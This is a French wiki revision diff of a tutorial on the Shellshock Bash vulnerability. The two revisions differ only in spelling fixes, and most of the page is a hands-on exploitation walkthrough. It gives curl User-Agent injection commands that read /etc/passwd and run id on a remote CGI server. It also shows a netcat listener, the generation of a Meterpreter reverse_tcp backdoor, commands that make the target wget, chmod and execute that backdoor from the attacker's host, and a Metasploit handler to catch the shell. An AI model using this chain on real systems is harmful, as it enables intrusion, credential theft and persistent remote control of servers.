Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentes Révision précédente Prochaine révision | Révision précédente | ||
appsysteme:bash_-_shellshock [2016/02/02 08:08] arkinar |
appsysteme:bash_-_shellshock [2016/07/04 08:38] (Version actuelle) |
||
---|---|---|---|
Ligne 11: | Ligne 11: | ||
La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. | La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. | ||
- | Elle est aussi appelé Bashdoor et a été découverte en septembre 2014. | + | Elle est aussi appelée Bashdoor et a été découverte en septembre 2014. |
__Explication__ | __Explication__ | ||
Ligne 17: | Ligne 17: | ||
Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'exécution sont identiques à l'utilisateur, système ou non. | Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'exécution sont identiques à l'utilisateur, système ou non. | ||
- | Le problème est que : | + | Le problème réside dans le fait que : |
- | De nombreux programmes utilisent le shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants. | + | De nombreux programmes utilisent le Shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants. |
Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. | Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. | ||
Ligne 35: | Ligne 35: | ||
**Exploitation** | **Exploitation** | ||
- | Le principe est d'envoyer des commandes à distance dans les entêtes HTTP pour qu'elle soit interpréter par le serveur. | + | Le principe est d'envoyer des commandes à distance dans les entêtes HTTP pour qu'elle soit interprétées par le serveur. |
Commençons simplement : | Commençons simplement : | ||
Ligne 41: | Ligne 41: | ||
<code>curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com </code> | <code>curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com </code> | ||
- | curl est une commande linux permettant de forger des requêtes HTTP. | + | curl est une commande Linux permettant de forger des requêtes HTTP. |
L'option -H permet de personnaliser l'entête HTTP avant qu'elle soit envoyées au serveur. | L'option -H permet de personnaliser l'entête HTTP avant qu'elle soit envoyées au serveur. | ||
Ligne 52: | Ligne 52: | ||
http://mon_serveur_faillible.com/cgi-bin/status</code> | http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | Cette commande quand à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. | + | Cette commande quant à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. |
- | L'option -A nous permet d’accéder au contenu de l'user-agent qui sera contenu dans la requête HTTP. | + | L'option -A nous permet d’accéder au contenu de l'user-agent qui sera visible dans la requête HTTP. |
<code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status</code> | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
Ligne 68: | Ligne 68: | ||
<code>nc -l 333 </code> | <code>nc -l 333 </code> | ||
- | L'option -l permet d'écouter sur le port 333 (c'est bien un L et non I majuscule) | + | L'option -l permet d'écouter sur le port 333 (c'est bien un L, comme listen et non I majuscule) |
Dans un autre terminal : | Dans un autre terminal : | ||
Ligne 84: | Ligne 84: | ||
Pour cette solution nous aurons besoin du framework Metasploit et de Apache. | Pour cette solution nous aurons besoin du framework Metasploit et de Apache. | ||
- | Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon bouquin dessus pour ceux que sa intéresse. | + | Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon livre dessus pour ceux que ça intéresse. |
- | On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur | + | On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur. |
<code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status</code> | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
Ligne 94: | Ligne 94: | ||
Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. | Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. | ||
- | Il permet de générer des payloads(exécutable qui va nous permettre dans notre cas d'établir la connexion inverse) | + | Il permet de générer des payloads (exécutable qui va nous permettre dans notre cas d'établir la connexion inverse). |
Pour le générer : | Pour le générer : | ||
Ligne 114: | Ligne 114: | ||
Copier le fichier lbdoor dans /var/www/ | Copier le fichier lbdoor dans /var/www/ | ||
- | Nous allons le télécharger sur le serveur de la vulnérable : | + | Nous allons le télécharger sur le serveur vulnérable : |
<code>curl -A;() { :;}; echo ;Content-type: text/plain; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status </code> | <code>curl -A;() { :;}; echo ;Content-type: text/plain; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status </code> | ||
- | On lui ajoute les droits d’exécution : | + | On lui ajoute les droits d’exécutions : |
<code>curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status</code> | <code>curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
Ligne 128: | Ligne 128: | ||
<code>msfconsole</code> | <code>msfconsole</code> | ||
- | On sélectionne le module qui nous permettra d’écouter les connexions entrante : | + | On sélectionne le module qui nous permettra d’écouter les connexions entrantes : |
<code>use exploit/multi/handler</code> | <code>use exploit/multi/handler</code> | ||
- | On lui stipule qu'elle type de connexion il doit attendre : | + | On lui stipule quel type de connexion il doit attendre : |
<code>set PAYLOAD linux/x86/meterpreter/reverse_tcp</code> | <code>set PAYLOAD linux/x86/meterpreter/reverse_tcp</code> | ||
- | On lui stipule sur qu'elle host il doit attendre la connexion : | + | On lui stipule sur quel host il attend la connexion : |
<code>set LHOST 192.168.1.1</code> | <code>set LHOST 192.168.1.1</code> | ||
- | On lui stipule sur qu'elle port il doit attendre la connexion : | + | On lui stipule sur quel port il doit attendre la connexion : |
<code>set LPORT 4443</code> | <code>set LPORT 4443</code> | ||
Ligne 146: | Ligne 146: | ||
Et on exécute : | Et on exécute : | ||
- | <code>run<c/ode> | + | <code>run</code> |
Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. | Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. | ||
Ligne 159: | Ligne 159: | ||
<code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status</code> | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. | + | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé. |
{{ :appsysteme:connexion_metasploit-2.png?nolink |}} | {{ :appsysteme:connexion_metasploit-2.png?nolink |}} | ||
Ligne 166: | Ligne 166: | ||
Vous avez désormais accès à une session meterpreter sur la machine distante. | Vous avez désormais accès à une session meterpreter sur la machine distante. | ||
- | Si vous souhaitez obtenir un terminal , il vous suffis de taper "shell" | + | Si vous souhaitez obtenir un terminal , il suffit de taper "shell" |
{{ :appsysteme:meterpreter.jpg?nolink |}} | {{ :appsysteme:meterpreter.jpg?nolink |}} | ||
- | L'outil meterpreter est puissant il embarque toute une multitude de code pour le post exploitation. | + | L'outil meterpreter est puissant et embarque toute une multitude de code pour le post exploitation. |
Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] | Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] | ||
Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]] | Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]] |